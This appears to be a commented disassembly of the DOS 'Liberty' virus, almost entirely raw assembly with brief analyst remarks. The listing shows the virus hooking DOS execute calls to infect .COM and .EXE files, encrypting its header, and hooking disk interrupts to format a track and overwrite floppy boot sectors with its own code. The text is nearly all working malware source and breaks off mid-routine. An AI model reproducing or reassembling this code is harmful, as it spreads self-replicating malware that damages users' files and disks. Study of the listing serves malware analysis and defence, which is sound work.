CS:01D9 BF0001 MOV DI,0100
CS:01DC 57 PUSH DI
CS:01DD 33FF XOR DI,DI
CS:01DF CB RETF ; Start file
CS:01E0 FA CLI
CS:01E1 5E POP SI
CS:01E2 07 POP ES
CS:01E3 1F POP DS
CS:01E4 5A POP DX
CS:01E5 59 POP CX
CS:01E6 5B POP BX
CS:01E7 58 POP AX
CS:01E8 2E CS:
CS:01E9 8B3E2C06 MOV DI,[062C]
CS:01ED 03FE ADD DI,SI
CS:01EF 8ED7 MOV SS,DI
CS:01F1 2E CS:
CS:01F2 8B3E2E06 MOV DI,[062E]
CS:01F6 8BE7 MOV SP,DI ; Restore stack
CS:01F8 2E CS:
CS:01F9 8B3E2806 MOV DI,[0628]
CS:01FD 03FE ADD DI,SI
CS:01FF 57 PUSH DI
CS:0200 2E CS:
CS:0201 FF362A06 PUSH [062A]
CS:0205 33F6 XOR SI,SI
CS:0207 EBD4 JMP 01DD ; Start file
;
; The encrypted Liberty header for .COM files
;
DS:0200 1D 69 D9 00 01 01
DS:0210 80 80 40 40 20 20 10 10-08 08 A4 05 D2 04 C9 02
DS:0220 4C 81 A8 40 49 20 21 90-0B 48 E8 69 95 05 4A 92
DS:0230 21 1D 40 A8 43 28 90 14-4E 4C 07 27 D3 22 81 81
DS:0240 C0 B0 40 C4 79 20 90 29-5C D0 AE 69 57 35 2B 9A
DS:0250 31 CD 34 40 51 53 AE 5D-62 C0 E3 C1 B0 35 58 F6
DS:0260 46 E5 20 02
;
; Various subroutines used by the virus
;
CS:026F 2E CS:
CS:0270 8A1E6A02 MOV BL,[026A]
CS:0274 32FF XOR BH,BH
CS:0276 33C0 XOR AX,AX
CS:0278 8ED8 MOV DS,AX
CS:027A D1E3 SHL BX,1
CS:027C D1E3 SHL BX,1
CS:027E 8B07 MOV AX,[BX]
CS:0280 C3 RET
CS:0281 A18400 MOV AX,[0084]
CS:0284 2E CS:
CS:0285 A38C03 MOV [038C],AX
CS:0288 A18600 MOV AX,[0086]
CS:028B 2E CS:
CS:028C A38E03 MOV [038E],AX
CS:028F C3 RET
CS:0290 BB4221 MOV BX,2142
CS:0293 B104 MOV CL,04
CS:0295 D3EB SHR BX,CL
CS:0297 291E0300 SUB [0003],BX
CS:029B A10300 MOV AX,[0003]
CS:029E 03060100 ADD AX,[0001]
CS:02A2 A31200 MOV [0012],AX
CS:02A5 40 INC AX
CS:02A6 C3 RET
CS:02A7 BF1001 MOV DI,0110
CS:02AA 8BF7 MOV SI,DI
CS:02AC B99A05 MOV CX,059A
CS:02AF F3 REPZ
CS:02B0 A5 MOVSW
CS:02B1 C3 RET
CS:02B2 33C0 XOR AX,AX
CS:02B4 8ED8 MOV DS,AX
CS:02B6 FA CLI
CS:02B7 B86C03 MOV AX,036C
CS:02BA A38400 MOV [0084],AX
CS:02BD 8C068600 MOV [0086],ES
CS:02C1 C3 RET
CS:02C2 FA CLI
CS:02C3 B8FFFF MOV AX,FFFF
CS:02C6 2E CS:
CS:02C7 8A1E6A02 MOV BL,[026A]
CS:02CB 32FF XOR BH,BH
CS:02CD D1E3 SHL BX,1
CS:02CF D1E3 SHL BX,1
CS:02D1 8907 MOV [BX],AX
CS:02D3 40 INC AX
CS:02D4 894702 MOV [BX+02],AX
CS:02D7 C3 RET
CS:02D8 B93C00 MOV CX,003C
CS:02DB BE1301 MOV SI,0113
CS:02DE 2E CS:
CS:02DF 8B14 MOV DX,[SI]
CS:02E1 D3CA ROR DX,CL
CS:02E3 2E CS:
CS:02E4 8914 MOV [SI],DX
CS:02E6 46 INC SI
CS:02E7 46 INC SI
CS:02E8 E2F4 LOOP 02DE
CS:02EA C3 RET
CS:02EB BF0001 MOV DI,0100
CS:02EE BE1301 MOV SI,0113
CS:02F1 B93C00 MOV CX,003C
CS:02F4 F3 REPZ
CS:02F5 A5 MOVSW
CS:02F6 C3 RET
;
; I am not sure what the next routine is supposed to be doing.
;
CS:02F7 9C PUSHF
CS:02F8 2E CS:
CS:02F9 803E100301 CMP BYTE PTR [0310],01
CS:02FE 740A JZ 030A
CS:0300 80FC03 CMP AH,03
CS:0303 7505 JNZ 030A
CS:0305 80FA80 CMP DL,80
CS:0308 7207 JB 0311
CS:030A 9D POPF
CS:030B EA00000000 JMP 0000:0000
CS:0311 06 PUSH ES
CS:0312 0E PUSH CS
CS:0313 07 POP ES
CS:0314 B80902 MOV AX,0209
CS:0317 BB420C MOV BX,0C42
CS:031A B90100 MOV CX,0001
CS:031D 9C PUSHF
CS:031E 2E CS:
CS:031F FF1E0C03 CALL FAR [030C]
CS:0323 72E5 JB 030A
CS:0325 B80905 MOV AX,0509
CS:0328 BB4803 MOV BX,0348
CS:032B B93100 MOV CX,0031
CS:032E 9C PUSHF
CS:032F 2E CS:
CS:0330 FF1E0C03 CALL FAR [030C]
CS:0334 72D4 JB 030A
CS:0336 B80903 MOV AX,0309
CS:0339 BB420C MOV BX,0C42
CS:033C B93100 MOV CX,0031
CS:033F 9C PUSHF
CS:0340 2E CS:
CS:0341 FF1E0C03 CALL FAR [030C]
CS:0345 07 POP ES
CS:0346 9D POPF
CS:0347 CF IRET
;
; Another format table used by the virus
;
DS:0340 00 00 31 02 00 00 32 02
DS:0350 00 00 33 02 00 00 34 02-00 00 35 02 00 00 36 02
DS:0360 00 00 37 02 00 00 38 02-00 00 39 02
;
; The virus infects files by monitoring function 4Bh of vector 21h
;
CS:036C 9C PUSHF
CS:036D 3D004B CMP AX,4B00 ; Execute function ?
CS:0370 741E JZ 0390
CS:0372 EB16 JMP 038A
CS:0374 90 NOP
CS:0375 E8B901 CALL 0531 ; Close file
CS:0378 E89A00 CALL 0415 ; Restore vectors
CS:037B C6060C04FF MOV BYTE PTR [040C],FF
CS:0380 90 NOP
CS:0381 9D POPF
CS:0382 07 POP ES
CS:0383 1F POP DS
CS:0384 5F POP DI
CS:0385 5E POP SI
CS:0386 5A POP DX
CS:0387 59 POP CX
CS:0388 5B POP BX
CS:0389 58 POP AX
CS:038A 9D POPF
CS:038B EA77142C02 JMP 022C:1477 ; Continue
CS:0390 50 PUSH AX
CS:0391 53 PUSH BX
CS:0392 51 PUSH CX
CS:0393 52 PUSH DX
CS:0394 56 PUSH SI
CS:0395 57 PUSH DI
CS:0396 1E PUSH DS
CS:0397 06 PUSH ES
CS:0398 9C PUSHF
CS:0399 E8A600 CALL 0442 ; Set error vectors
CS:039C E8E100 CALL 0480 ; Open file
CS:039F 72D4 JB 0375
CS:03A1 0E PUSH CS
CS:03A2 1F POP DS
CS:03A3 0E PUSH CS
CS:03A4 07 POP ES
CS:03A5 A30A04 MOV [040A],AX
CS:03A8 93 XCHG BX,AX
CS:03A9 C6060C0401 MOV BYTE PTR [040C],01
CS:03AE 90 NOP
CS:03AF E8D800 CALL 048A ; Read file header
CS:03B2 72C1 JB 0375
CS:03B4 BB1301 MOV BX,0113
CS:03B7 2E CS:
CS:03B8 813F4D5A CMP WORD PTR [BX],5A4D ; .EXE file ?
CS:03BC 7505 JNZ 03C3
CS:03BE E8C001 CALL 0581 ; Adapt header
CS:03C1 EBB2 JMP 0375
CS:03C3 2E CS:
CS:03C4 C606090200 MOV BYTE PTR [0209],00 ; Set switch
CS:03C9 E8CD00 CALL 0499 ; Check infection
CS:03CC 74A7 JZ 0375
CS:03CE E8DD00 CALL 04AE ; Encrypt header
CS:03D1 E8EB00 CALL 04BF ; Move to EOF
CS:03D4 729F JB 0375
CS:03D6 83FA00 CMP DX,+00 ;
CS:03D9 759A JNZ 0375 ;
CS:03DB 3D0005 CMP AX,0500 ;
CS:03DE 7295 JB 0375 ;
CS:03E0 3DFFEF CMP AX,EFFF ;
CS:03E3 7390 JNB 0375 ; Check file size
CS:03E5 E8EA00 CALL 04D2 ; Move to next paragraph
CS:03E8 728B JB 0375
CS:03EA E80701 CALL 04F4 ; Write virus
CS:03ED 7286 JB 0375
CS:03EF 3BC1 CMP AX,CX
CS:03F1 7C11 JL 0404
CS:03F3 E81301 CALL 0509 ; Move to BOF
CS:03F6 7209 JB 0401
CS:03F8 E86201 CALL 055D ; Decrypt Libery header
CS:03FB E81E01 CALL 051C ; Write Liberty header
CS:03FE E86F01 CALL 0570 ; Encrypt Liberty Header
CS:0401 E971FF JMP 0375
CS:0404 E83801 CALL 053F ; Set & get vector 13h
CS:0407 E96BFF JMP 0375
;
; Revectoring of error vectors.
;
CS:0415 1E PUSH DS
CS:0416 33DB XOR BX,BX
CS:0418 8EDB MOV DS,BX
CS:041A FA CLI
CS:041B 2E CS:
CS:041C 8B1E0D04 MOV BX,[040D]
CS:0420 891E8C00 MOV [008C],BX
CS:0424 2E CS:
CS:0425 8B1E0F04 MOV BX,[040F]
CS:0429 891E8E00 MOV [008E],BX
CS:042D FA CLI
CS:042E 2E CS:
CS:042F 8B1E1104 MOV BX,[0411]
CS:0433 891E9000 MOV [0090],BX
CS:0437 2E CS:
CS:0438 8B1E1304 MOV BX,[0413]
CS:043C 891E8E00 MOV [008E],BX
CS:0440 1F POP DS
CS:0441 C3 RET
CS:0442 1E PUSH DS
CS:0443 33DB XOR BX,BX
CS:0445 8EDB MOV DS,BX
CS:0447 8B1E8C00 MOV BX,[008C]
CS:044B 2E CS:
CS:044C 891E0D04 MOV [040D],BX
CS:0450 8B1E8E00 MOV BX,[008E]
CS:0454 2E CS:
CS:0455 891E0F04 MOV [040F],BX
CS:0459 FA CLI
CS:045A BB3106 MOV BX,0631
CS:045D 891E8C00 MOV [008C],BX
CS:0461 8C0E8E00 MOV [008E],CS
CS:0465 8B1E9000 MOV BX,[0090]
CS:0469 2E CS:
CS:046A 891E1104 MOV [0411],BX
CS:046E 8B1E9200 MOV BX,[0092]
CS:0472 FA CLI
CS:0473 BB3206 MOV BX,0632
CS:0476 891E9000 MOV [0090],BX
CS:047A 8C0E9200 MOV [0092],CS
CS:047E 1F POP DS
CS:047F C3 RET
;
; Various subroutines used by the virus
;
CS:0480 B8023D MOV AX,3D02
CS:0483 9C PUSHF
CS:0484 2E CS:
CS:0485 FF1E8C03 CALL FAR [038C]
CS:0489 C3 RET
CS:048A B43F MOV AH,3F
CS:048C B97800 MOV CX,0078
CS:048F BA1301 MOV DX,0113
CS:0492 9C PUSHF
CS:0493 2E CS:
CS:0494 FF1E8C03 CALL FAR [038C]
CS:0498 C3 RET
CS:0499 BF1301 MOV DI,0113
CS:049C 81C76802 ADD DI,0268
CS:04A0 81EF0A02 SUB DI,020A
CS:04A4 BE6802 MOV SI,0268
CS:04A7 FC CLD
CS:04A8 B90700 MOV CX,0007
CS:04AB F3 REPZ
CS:04AC A6 CMPSB
CS:04AD C3 RET
CS:04AE B93C00 MOV CX,003C
CS:04B1 BE1301 MOV SI,0113
CS:04B4 8B14 MOV DX,[SI]
CS:04B6 D3C2 ROL DX,CL
CS:04B8 8914 MOV [SI],DX
CS:04BA 46 INC SI
CS:04BB 46 INC SI
CS:04BC E2F6 LOOP 04B4
CS:04BE C3 RET
CS:04BF B80242 MOV AX,4202
CS:04C2 2E CS:
CS:04C3 8B1E0A04 MOV BX,[040A]
CS:04C7 33C9 XOR CX,CX
CS:04C9 33D2 XOR DX,DX
CS:04CB 9C PUSHF
CS:04CC 2E CS:
CS:04CD FF1E8C03 CALL FAR [038C]
CS:04D1 C3 RET
CS:04D2 B90400 MOV CX,0004
CS:04D5 D3E8 SHR AX,CL
CS:04D7 BB6602 MOV BX,0266
CS:04DA 8907 MOV [BX],AX
CS:04DC 40 INC AX
CS:04DD B90400 MOV CX,0004
CS:04E0 D3E0 SHL AX,CL
CS:04E2 92 XCHG DX,AX
CS:04E3 33C9 XOR CX,CX
CS:04E5 B80042 MOV AX,4200
CS:04E8 2E CS:
CS:04E9 8B1E0A04 MOV BX,[040A]
CS:04ED 9C PUSHF
CS:04EE 2E CS:
CS:04EF FF1E8C03 CALL FAR [038C]
CS:04F3 C3 RET
CS:04F4 B9330B MOV CX,0B33
CS:04F7 B80040 MOV AX,4000
CS:04FA BA1001 MOV DX,0110
CS:04FD 2E CS:
CS:04FE 8B1E0A04 MOV BX,[040A]
CS:0502 9C PUSHF
CS:0503 2E CS:
CS:0504 FF1E8C03 CALL FAR [038C]
CS:0508 C3 RET
CS:0509 B80042 MOV AX,4200
CS:050C 2E CS:
CS:050D 8B1E0A04 MOV BX,[040A]
CS:0511 33C9 XOR CX,CX
CS:0513 33D2 XOR DX,DX
CS:0515 9C PUSHF
CS:0516 2E CS:
CS:0517 FF1E8C03 CALL FAR [038C]
CS:051B C3 RET
CS:051C BA0A02 MOV DX,020A
CS:051F B80040 MOV AX,4000
CS:0522 2E CS:
CS:0523 8B1E0A04 MOV BX,[040A]
CS:0527 B97800 MOV CX,0078
CS:052A 9C PUSHF
CS:052B 2E CS:
CS:052C FF1E8C03 CALL FAR [038C]
CS:0530 C3 RET
CS:0531 B43E MOV AH,3E
CS:0533 2E CS:
CS:0534 8B1E0A04 MOV BX,[040A]
CS:0538 9C PUSHF
CS:0539 2E CS:
CS:053A FF1E8C03 CALL FAR [038C]
CS:053E C3 RET
CS:053F 33C0 XOR AX,AX
CS:0541 8ED8 MOV DS,AX
CS:0543 FA CLI
CS:0544 A14C00 MOV AX,[004C]
CS:0547 2E CS:
CS:0548 A31407 MOV [0714],AX
CS:054B A14E00 MOV AX,[004E]
CS:054E 2E CS:
CS:054F A31607 MOV [0716],AX
CS:0552 B8F906 MOV AX,06F9
CS:0555 A34C00 MOV [004C],AX
CS:0558 8C0E4E00 MOV [004E],CS
CS:055C C3 RET
;
; Header encrypting
;
CS:055D B92D00 MOV CX,002D
CS:0560 BE0A02 MOV SI,020A
CS:0563 2E CS:
CS:0564 8B3C MOV DI,[SI]
CS:0566 D3CF ROR DI,CL
CS:0568 2E CS:
CS:0569 893C MOV [SI],DI
CS:056B 46 INC SI
CS:056C 46 INC SI
CS:056D E2F4 LOOP 0563
CS:056F C3 RET
CS:0570 BE0A02 MOV SI,020A
CS:0573 B92D00 MOV CX,002D
CS:0576 8B3C MOV DI,[SI]
CS:0578 D3C7 ROL DI,CL
CS:057A 893C MOV [SI],DI
CS:057C 46 INC SI
CS:057D 46 INC SI
CS:057E E2F6 LOOP 0576
CS:0580 C3 RET
;
; .EXE file handling
;
CS:0581 8B7F02 MOV DI,[BX+02]
CS:0584 83FFFF CMP DI,-01 ; Check infection
CS:0587 7439 JZ 05C2
CS:0589 8B7F16 MOV DI,[BX+16]
CS:058C 83C710 ADD DI,+10
CS:058F 893E2806 MOV [0628],DI
CS:0593 8B7F14 MOV DI,[BX+14]
CS:0596 893E2A06 MOV [062A],DI
CS:059A 8B7F0E MOV DI,[BX+0E]
CS:059D 83C710 ADD DI,+10
CS:05A0 893E2C06 MOV [062C],DI
CS:05A4 8B7F10 MOV DI,[BX+10]
CS:05A7 893E2E06 MOV [062E],DI
CS:05AB BF1001 MOV DI,0110
CS:05AE 897F14 MOV [BX+14],DI ; Set IP
CS:05B1 BF420D MOV DI,0D42
CS:05B4 897F10 MOV [BX+10],DI ; Set SP
CS:05B7 2E CS:
CS:05B8 C606090201 MOV BYTE PTR [0209],01 ; Set switch
CS:05BD E8FFFE CALL 04BF ; Move to EOF
CS:05C0 7301 JNB 05C3
CS:05C2 C3 RET
CS:05C3 83FA0A CMP DX,+0A ;
CS:05C6 77FA JA 05C2 ; Check file size
CS:05C8 B104 MOV CL,04
CS:05CA D3E8 SHR AX,CL
CS:05CC 40 INC AX
CS:05CD 3D0010 CMP AX,1000
CS:05D0 7501 JNZ 05D3
CS:05D2 42 INC DX
CS:05D3 D3E0 SHL AX,CL
CS:05D5 50 PUSH AX
CS:05D6 52 PUSH DX
CS:05D7 B91000 MOV CX,0010
CS:05DA F7F1 DIV CX
CS:05DC BB1301 MOV BX,0113
CS:05DF 2D1100 SUB AX,0011
CS:05E2 8B7F08 MOV DI,[BX+08]
CS:05E5 2BC7 SUB AX,DI
CS:05E7 894716 MOV [BX+16],AX ; Set CodeSegment
CS:05EA 89470E MOV [BX+0E],AX ; Set StackSegment
CS:05ED 59 POP CX
CS:05EE 5A POP DX
CS:05EF E8F3FE CALL 04E5 ; Move to next paragraph
CS:05F2 722F JB 0623
CS:05F4 E8FDFE CALL 04F4 ; Write virus
CS:05F7 722A JB 0623
CS:05F9 3BC1 CMP AX,CX
CS:05FB 7C27 JL 0624
CS:05FD E8BFFE CALL 04BF ; Move to BOF
CS:0600 7221 JB 0623
CS:0602 B90002 MOV CX,0200
CS:0605 F7F1 DIV CX
CS:0607 83FA00 CMP DX,+00
CS:060A 7401 JZ 060D
CS:060C 40 INC AX
CS:060D BB1301 MOV BX,0113
CS:0610 894704 MOV [BX+04],AX ; Set blocks
CS:0613 C74702FFFF MOV WORD PTR [BX+02],FFFF ; Set infection mark
CS:0618 E8EEFE CALL 0509 ; Move to BOF
CS:061B 7206 JB 0623
CS:061D BA1301 MOV DX,0113
CS:0620 E8FCFE CALL 051F ; Write header
CS:0623 C3 RET
CS:0624 E818FF CALL 053F ; Set & get vector 13h
CS:0627 C3 RET
;
; Error vectors
;
CS:0631 CF IRET ; Error vector 23h
CS:0632 32C0 XOR AL,AL ;
CS:0634 CF IRET ; Error vector 24h
;
; The next part is the virus's bootsector
;
CS:0635 EB01 JMP 0638
CS:0637 90 NOP
CS:0638 33C0 XOR AX,AX
CS:063A 8ED0 MOV SS,AX
CS:063C BC007C MOV SP,7C00
CS:063F 33C0 XOR AX,AX
CS:0641 8EC0 MOV ES,AX
CS:0643 BB1304 MOV BX,0413 ;
CS:0646 26 ES: ;
CS:0647 8B07 MOV AX,[BX] ;
CS:0649 2D0A00 SUB AX,000A ;
CS:064C B106 MOV CL,06 ;
CS:064E 26 ES: ;
CS:064F 8907 MOV [BX],AX ; Decrease memory
CS:0651 D3E0 SHL AX,CL
CS:0653 8EC0 MOV ES,AX
CS:0655 B80802 MOV AX,0208 ;
CS:0658 BB1001 MOV BX,0110 ;
CS:065B B93128 MOV CX,2831 ;
CS:065E 33D2 XOR DX,DX ;
CS:0660 CD13 INT 13 ; Read virus
CS:0662 06 PUSH ES
CS:0663 BB6806 MOV BX,0668
CS:0666 53 PUSH BX
CS:0667 CB RETF
CS:0668 2E CS:
CS:0669 803EC8060A CMP BYTE PTR [06C8],0A
CS:066E 7446 JZ 06B6
CS:0670 33C0 XOR AX,AX
CS:0672 8ED8 MOV DS,AX
CS:0674 2E CS:
CS:0675 FE06C806 INC BYTE PTR [06C8]
CS:0679 B80803 MOV AX,0308
CS:067C BB1001 MOV BX,0110
CS:067F B93128 MOV CX,2831
CS:0682 33D2 XOR DX,DX
CS:0684 CD13 INT 13
CS:0686 E85200 CALL 06DB ; Set & get vector 13h
CS:0689 2E CS: ;
CS:068A C606470BFF MOV BYTE PTR [0B47],FF ;
CS:068F 90 NOP ;
CS:0690 2E CS: ;
CS:0691 C606950BFF MOV BYTE PTR [0B95],FF ;
CS:0696 90 NOP ;
CS:0697 2E CS: ;
CS:0698 C606080CFF MOV BYTE PTR [0C08],FF ; Switches off
CS:069D 90 NOP
CS:069E E82902 CALL 08CA ; Set & get vector 8h
CS:06A1 E85402 CALL 08F8 ; Set & get vector 1Ch
CS:06A4 E84104 CALL 0AE8 ; Set & get vector 10h
CS:06A7 E85804 CALL 0B02 ; Set & get vector 14h
CS:06AA E86F04 CALL 0B1C ; Set & get vector 17h
CS:06AD E81900 CALL 06C9 ; Read original bootsector
CS:06B0 BB007C MOV BX,7C00 ;
CS:06B3 1E PUSH DS ;
CS:06B4 53 PUSH BX ;
CS:06B5 CB RETF ; Start
CS:06B6 E81000 CALL 06C9 ; Read bootsector
CS:06B9 B80103 MOV AX,0301
CS:06BC BB007C MOV BX,7C00
CS:06BF B90100 MOV CX,0001
CS:06C2 33D2 XOR DX,DX
CS:06C4 CD13 INT 13
CS:06C6 EBE5 JMP 06AD
CS:06C9 33C0 XOR AX,AX
CS:06CB 8EC0 MOV ES,AX
CS:06CD B80102 MOV AX,0201
CS:06D0 BB007C MOV BX,7C00
CS:06D3 B93F28 MOV CX,283F
CS:06D6 33D2 XOR DX,DX
CS:06D8 CD13 INT 13
CS:06DA C3 RET
CS:06DB 33C0 XOR AX,AX
CS:06DD 8ED8 MOV DS,AX
CS:06DF A14C00 MOV AX,[004C]
CS:06E2 2E CS:
CS:06E3 A31608 MOV [0816],AX
CS:06E6 A14E00 MOV AX,[004E]
CS:06E9 2E CS:
CS:06EA A31808 MOV [0818],AX
CS:06ED FA CLI
CS:06EE B8FB07 MOV AX,07FB
CS:06F1 A34C00 MOV [004C],AX
CS:06F4 8C0E4E00 MOV [004E],CS
CS:06F8 C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:06F9 9C PUSHF
CS:06FA 80FC01 CMP AH,01
CS:06FD 7E13 JLE 0712
CS:06FF 80FC04 CMP AH,04
CS:0702 7D0E JGE 0712
CS:0704 80FA80 CMP DL,80
CS:0707 720F JB 0718
CS:0709 E8BE00 CALL 07CA ; Disconnect vector 13h
CS:070C 07 POP ES
CS:070D 1F POP DS
CS:070E 5A POP DX
CS:070F 59 POP CX
CS:0710 5B POP BX
CS:0711 58 POP AX
CS:0712 9D POPF
CS:0713 EA00000000 JMP 0000:0000
CS:0718 50 PUSH AX
CS:0719 53 PUSH BX
CS:071A 51 PUSH CX
CS:071B 52 PUSH DX
CS:071C 1E PUSH DS
CS:071D 06 PUSH ES
CS:071E B80102 MOV AX,0201 ;
CS:0721 0E PUSH CS ;
CS:0722 07 POP ES ;
CS:0723 0E PUSH CS ;
CS:0724 1F POP DS ;
CS:0725 BB420C MOV BX,0C42 ;
CS:0728 B90100 MOV CX,0001 ;
CS:072B 32F6 XOR DH,DH ;
CS:072D 9C PUSHF ;
CS:072E 2E CS: ;
CS:072F FF1E1407 CALL FAR [0714] ; Read Bootsector
CS:0733 72D4 JB 0709
CS:0735 0E PUSH CS
CS:0736 1F POP DS
CS:0737 0E PUSH CS
CS:0738 07 POP ES
CS:0739 BE420C MOV SI,0C42 ;
CS:073C BF3506 MOV DI,0635 ;
CS:073F B90A00 MOV CX,000A ;
CS:0742 FC CLD ;
CS:0743 F3 REPZ ;
CS:0744 A7 CMPSW ; Check infection
CS:0745 74C2 JZ 0709
CS:0747 BE420C MOV SI,0C42
CS:074A 807C02FF CMP BYTE PTR [SI+02],FF ; Was infected ?
CS:074E 744A JZ 079A
CS:0750 B0FF MOV AL,FF
CS:0752 884402 MOV [SI+02],AL
CS:0755 B80905 MOV AX,0509 ;
CS:0758 BBA607 MOV BX,07A6 ;
CS:075B B93128 MOV CX,2831 ;
CS:075E 9C PUSHF ;
CS:075F 2E CS: ;
CS:0760 FF1E1407 CALL FAR [0714] ; Format track 40
CS:0764 72A3 JB 0709
CS:0766 B80103 MOV AX,0301 ;
CS:0769 BB420C MOV BX,0C42 ;
CS:076C B93F28 MOV CX,283F ;
CS:076F 9C PUSHF ;
CS:0770 2E CS: ;
CS:0771 FF1E1407 CALL FAR [0714] ; Write original bootsector
CS:0775 7292 JB 0709
CS:0777 B80103 MOV AX,0301 ;
CS:077A BB3506 MOV BX,0635 ;
CS:077D B90100 MOV CX,0001 ;
CS:0780 9C PUSHF ;
CS:0781 2E CS: ;
CS:0782 FF1E1407 CALL FAR [0714] ; Write Libery bootsector
CS:0786 7281 JB 0709
CS:0788 B80803 MOV AX,0308 ;
CS:078B BB1001 MOV BX,0110 ;
CS:078E B93128 MOV CX,2831 ;
CS:0791 9C PUSHF ;
CS:0792 2E CS: ;
CS:0793 FF1E1407 CALL FAR [0714] ; Write Liberty virus
CS:0797 E96FFF JMP 0709
CS:079A 2E CS: ;
CS:079B C606100300 MOV BYTE PTR [0310],00 ;
CS:07A0 E83B00 CALL 07DE ; Attach ???
CS:07A3 E963FF JMP 0709
;
; The format table is next
;
DS:07A0 28 00-31 02 28 00 32 02 28 00
DS:07B0 33 02 28 00 34 02 28 00-35 02 28 00 36 02 28 00
DS:07C0 37 02 28 00 38 02 28 00-3F 02
;
; Revectoring
;
CS:07CA 33C0 XOR AX,AX
CS:07CC 8ED8 MOV DS,AX
CS:07CE FA CLI
CS:07CF 2E CS:
CS:07D0 A11407 MOV AX,[0714]
CS:07D3 A34C00 MOV [004C],AX
CS:07D6 2E CS:
CS:07D7 A11607 MOV AX,[0716]
CS:07DA A34E00 MOV [004E],AX
CS:07DD C3 RET
CS:07DE 2E CS:
CS:07DF A11407 MOV AX,[0714]
CS:07E2 2E CS:
CS:07E3 A30C03 MOV [030C],AX
CS:07E6 2E CS:
CS:07E7 A11607 MOV AX,[0716]
CS:07EA 2E CS:
CS:07EB A30E03 MOV [030E],AX
CS:07EE B8F702 MOV AX,02F7
CS:07F1 2E CS:
CS:07F2 A31407 MOV [0714],AX
CS:07F5 2E CS:
CS:07F6 8C0E1607 MOV [0716],CS
CS:07FA C3 RET
;
; Boot sectors are infected via vector 13h
;
CS:07FB 9C PUSHF
CS:07FC 80FC03 CMP AH,03
CS:07FF 7213 JB 0814
CS:0801 80FC05 CMP AH,05
CS:0804 730E JNB 0814
CS:0806 80FA80 CMP DL,80
CS:0809 720F JB 081A
CS:080B EB07 JMP 0814
CS:080D 90 NOP
CS:080E 07 POP ES
CS:080F 1F POP DS
CS:0810 5A POP DX
CS:0811 59 POP CX
CS:0812 5B POP BX
CS:0813 58 POP AX
CS:0814 9D POPF
CS:0815 EA00000000 JMP 0000:0000
CS:081A 50 PUSH AX
CS:081B 53 PUSH BX
CS:081C 51 PUSH CX
CS:081D 52 PUSH DX
CS:081E 1E PUSH DS
CS:081F 06 PUSH ES
CS:0820 2E CS:
CS:0821 803E0C0401 CMP BYTE PTR [040C],01
CS:0826 74E6 JZ 080E
CS:0828 B80102 MOV AX,0201 ;
CS:082B 0E PUSH CS ;
CS:082C 07 POP ES ;
CS:082D 0E PUSH CS ;
CS:082E 1F POP DS ;
CS:082F BB420C MOV BX,0C42 ;
CS:0832 B90100 MOV CX,0001 ;
CS:0835 32F6 XOR DH,DH ;
CS:0837 9C PUSHF ;
CS:0838 2E CS: ;
CS:0839 FF1E1608 CALL FAR [0816] ; Read bootsector
CS:083D 72CF JB 080E
CS:083F 0E PUSH CS
CS:0840 1F POP DS
CS:0841 0E PUSH CS
CS:0842 07 POP ES
CS:0843 BE420C MOV SI,0C42 ;
CS:0846 BF3506 MOV DI,0635 ;
CS:0849 B90A00 MOV CX,000A ;
CS:084C FC CLD ;
CS:084D F3 REPZ ;
CS:084E A7 CMPSW ; Check infection
CS:084F 74BD JZ 080E
CS:0851 B0FF MOV AL,FF
CS:0853 884702 MOV [BX+02],AL
CS:0856 B80905 MOV AX,0509 ;
CS:0859 BBA607 MOV BX,07A6 ;
CS:085C B93128 MOV CX,2831 ;
CS:085F 9C PUSHF ;
CS:0860 2E CS: ;
CS:0861 FF1E1608 CALL FAR [0816] ; Format track 28
CS:0865 72A7 JB 080E
CS:0867 B80103 MOV AX,0301 ;
CS:086A BB420C MOV BX,0C42 ;
CS:086D B93F28 MOV CX,283F ;
CS:0870 9C PUSHF ;
CS:0871 2E CS: ;
CS:0872 FF1E1608 CALL FAR [0816] ; Write original bootsector
CS:0876 7296 JB 080E
CS:0878 B80103 MOV AX,0301 ;
CS:087B BB3506 MOV BX,0635 ;
CS:087E B90100 MOV CX,0001 ;
CS:0881 9C PUSHF ;
CS:0882 2E CS: ;
CS:0883 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0887 7285 JB 080E
CS:0889 B80803 MOV AX,0308 ;
CS:088C BB1001 MOV BX,0110 ;
CS:088F B93128 MOV CX,2831 ;
CS:0892 9C PUSHF ;
CS:0893 2E CS: ;
CS:0894 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0898 E973FF JMP 080E
CS:089B 9C PUSHF
CS:089C 50 PUSH AX
CS:089D 1E PUSH DS
CS:089E 33C0 XOR AX,AX
CS:08A0 8ED8 MOV DS,AX
CS:08A2 833E860000 CMP WORD PTR [0086],+00 ;
CS:08A7 750F JNZ 08B8 ; Check if DOS is installed
CS:08A9 833E840000 CMP WORD PTR [0084],+00 ;
CS:08AE 7508 JNZ 08B8
CS:08B0 1F POP DS
CS:08B1 58 POP AX
CS:08B2 9D POPF
CS:08B3 EA00000000 JMP 0000:0000
CS:08B8 06 PUSH ES
CS:08B9 0E PUSH CS
CS:08BA 07 POP ES
CS:08BB E8C3F9 CALL 0281 ; Get vector 21h
CS:08BE E8F1F9 CALL 02B2 ; Set vector 21h
CS:08C1 E82000 CALL 08E4 ; Disconnect vector 8h
CS:08C4 E8FBF9 CALL 02C2 ; Set installation flag
CS:08C7 07 POP ES
CS:08C8 EBE6 JMP 08B0
;
; Revectoring
;
CS:08CA A12000 MOV AX,[0020]
CS:08CD 2E CS:
CS:08CE A3B408 MOV [08B4],AX
CS:08D1 A12200 MOV AX,[0022]
CS:08D4 2E CS:
CS:08D5 A3B608 MOV [08B6],AX
CS:08D8 B89B08 MOV AX,089B
CS:08DB FA CLI
CS:08DC A32000 MOV [0020],AX
CS:08DF 8C0E2200 MOV [0022],CS
CS:08E3 C3 RET
CS:08E4 33C0 XOR AX,AX
CS:08E6 8ED8 MOV DS,AX
CS:08E8 FA CLI
CS:08E9 2E CS:
CS:08EA A1B408 MOV AX,[08B4]
CS:08ED A32000 MOV [0020],AX
CS:08F0 2E CS:
CS:08F1 A1B608 MOV AX,[08B6]
CS:08F4 A32200 MOV [0022],AX
CS:08F7 C3 RET
CS:08F8 A17000 MOV AX,[0070]
CS:08FB 2E CS:
CS:08FC A3900A MOV [0A90],AX
CS:08FF A17200 MOV AX,[0072]
CS:0902 2E CS:
CS:0903 A3920A MOV [0A92],AX
CS:0906 B8580A MOV AX,0A58
CS:0909 FA CLI
CS:090A A37000 MOV [0070],AX
CS:090D 8C0E7200 MOV [0072],CS
